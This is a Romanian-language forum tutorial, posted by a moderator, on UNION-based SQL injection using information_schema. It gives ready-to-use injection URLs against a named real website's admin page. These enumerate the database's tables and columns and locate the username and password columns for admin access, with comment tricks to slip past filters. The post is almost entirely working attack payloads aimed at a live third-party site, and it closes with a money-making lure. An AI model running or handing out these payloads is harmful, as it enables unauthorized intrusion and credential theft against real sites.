Puscas_marin
Moderator
Inregistrat: acum 17 ani
Postari: 315
|
|
[center][size=80]Sql Injection II (information_schema)[/size][/center]
Daca ati vazut celalat tutorial sigur v-ati dat sema ca nu aveti nici o sansa fara inspiratie care sa va duca la numele Tabelului si numele coloanei.Azi va voi arata cum se poate afla cu usurinta numele tuturor tabelelor si numele tuturor coloanelor....dar sa nu mai lungim vorba si sa trecem la treaba..... GO!
!!!Ca si in celalat tutorial la sfarsit va voi prezenta tot ce am facut in tutorialul acesta intr-un mic video.
Vom folosi acelasi site ca si in tutorialul precedent :
Code:
http://www.furtherfield.org/admin/cast_fr.php?ID=1 |
Deci in tutorialul precedent am zis ca asa arata url coplet pentru intereogarea sql
Code:
http://www.furtherfield.org/admin/cast_fr.php?ID=-1%20union+all+select+1,username,3,4,5,6,7,8,9,10,11,12,13,password+from+Users/* |
Acum vom presupune ca nu stim nici numele tabelului nici numele coloanelor....asa ca o sa folosim
care are urmatoarea forma
Code:
FROM/**/information_schema.tables/columns/**/WHERE/**/table_schema='Numele bazei de date' |
1.Cum imi dau seama daca funcioneaza 'information_schema' sau cum iau numele la baza de date? R. Iformation_schema fuctioneaza pentru mysql versiunea 5.x.x(versiunea se afla folosind 'version()'), iar numele la baza de date se afla folosind 'database()'
ok avem tot ce ne trebuie numele la baza de date si versiunea ne permite sa folosim information_schema
Information_shema : "From/**/Information_schema.tables sau column/**/where/**/Table_schema='Numele bazei de date/* Deci o sa incercam sa aflan numele tabelelor... ok
Code:
http://www.furtherfield.org/admin/cast_fr.php?ID=-1%20union/**/all/**/select/**/1,table_name,3,4,5,6,7,8,9,10,11,12,13,14/**/from/**/information_schema.columns/**/where/**/table_schema='test'/* |
Primul tabel a fost usor de gasit dar cum gasim restul? R.Pentru aceasta folosim "Limit" hm nu e greu sa trecem la exemplu ca o sa intelege-ti imediat
Pentru primul tabel
Code:
http://www.furtherfield.org/admin/cast_fr.php?ID=-1%20union/**/all/**/select/**/1,table_name,3,4,5,6,7,8,9,10,11,12,13,14/**/from/**/information_schema.tables/**/where/**/table_schema='test'/**/limit/**/1,1%20/* |
Pentru al 2-lea tabel
Code:
http://www.furtherfield.org/admin/cast_fr.php?ID=-1%20union/**/all/**/select/**/1,table_name,3,4,5,6,7,8,9,10,11,12,13,14/**/from/**/information_schema.tables/**/where/**/table_schema='test'/**/limit/**/2,1%20/* |
deci ati inteles ca limit 1,1 da tabelul 1, ca 2,1 da tabelul 2 si tot asa dar ceea ce ne intereseaza pe noi este alt tabel ia sa mai incercam 1,2,3,4,5,6..........hm bigo tabel cu userii
Am gasit in Sfarsit tabelul care ne intereseaza acum sa cautam numele coloanelor care exista in el si ne intereseaza .... la treaba...... Aceasta se face tot prin "information_schema" mumai ca de aceasta data o sa fie "information_schema.columns" Ok noul url va arata astfel
Code:
http://www.furtherfield.org/admin/cast_fr.php?ID=-1%20union/**/all/**/select/**/1,column_name,3,4,5,6,7,8,9,10,11,12,13,14/**/from/**/information_schema.columns/**/where/**/table_schema='test'/**/and/**/table_name='Users'/**/limit/**/1,1/* |
Aici o sa va mentionez schimbarile facute :d 1. Din tabe_name in column_table. 2. Din information_schema.tables in information_schema.columns 3. Din */from/**/information_schema.tables/**/where/**/table_schema='test'/**/limit/**/X,1/* in*/from/**/information_schema.columns/**/where/**/table_schema='test'/**/adn/**/table_name='Users'/**/limit/**/X,1/*
Ok prima coloana..... este....username
Code:
http://www.furtherfield.org/admin/cast_fr.php?ID=-1%20union/**/all/**/select/**/1,column_name,3,4,5,6,7,8,9,10,11,12,13,14/**/from/**/information_schema.columns/**/where/**/table_schema='test'/**/and/**/table_name='Users'/**/limit/**/1,1/* |
Ok a doua coloana.....este.....[b]password[b]
Code:
http://www.furtherfield.org/admin/cast_fr.php?ID=-1%20union/**/all/**/select/**/1,column_name,3,4,5,6,7,8,9,10,11,12,13,14/**/from/**/information_schema.columns/**/where/**/table_schema='test'/**/and/**/table_name='Users'/**/limit/**/2,1/* |
pe noi deocamdata doar aceste coloane ne intereseaza pentru aces la admin, dar daca doriti va puteti juca si dumneavoastra cu "limit" si sa gasiti alte tabele, alte coloane etc.
Video Demonstaration
_______________________________________ Deci asa se fac banii....da clik sa vezi
|
|